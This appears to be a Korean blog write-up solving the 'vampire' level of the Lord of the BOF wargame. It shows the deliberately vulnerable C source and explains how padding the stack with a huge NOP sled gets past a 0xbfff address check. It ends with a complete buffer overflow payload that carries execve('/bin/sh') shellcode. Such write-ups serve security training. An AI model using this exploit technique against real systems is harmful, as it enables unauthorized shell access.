이번 문제의 C 소스를 보면 argv[1]의 46번째 문자가 \xff가 아니여야한다. 하지만 지금까지 스택주소는 계속 0xbfff 로 시작했다.
이 주소로 시작하는 스택은 사용할 수 없는 것이다
/* The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // here is changed! if(argv[1][46] == '\xff') { printf("but it's not forever\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
처음에 이것저것 시도해보다가.. 버퍼에 아주 많은 값을 밀어넣어서 스택프레임의 크기를 크게 만들면 된다는 것을 알았다.
스택은 위에서 아래로 자라기 때문에 프레임의 크기를 계속 키우면 0xbfff가 아닌 0xbffe의 영역을 사용할 수 있다.
버퍼에 NOP를 추가해 주면서 계속 ESP의 값을 확인하다보니 NOP를 70000개 정도 주면 0xbffe를 사용할 수 있다는 것을 알았다.
이제 NOP sled를 타기 위해 적당한 주소를 찾아서 payload를 작성하면 된다.
쉘을 땄다.
payload = `python -c 'print "\x90"*44+"\x50\x74\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
'Wargame > lord of bufferoverflow' 카테고리의 다른 글
Lord of bufferoverflow skeleton (0) | 2017.08.21 |
---|---|
Lord of bufferoverflow vampire (0) | 2017.08.18 |
Lord of bufferoverflow orge (0) | 2017.08.18 |
Lord of bufferoverflow darkelf (0) | 2017.08.17 |
Lord of bufferoverflow wolfman (0) | 2017.08.17 |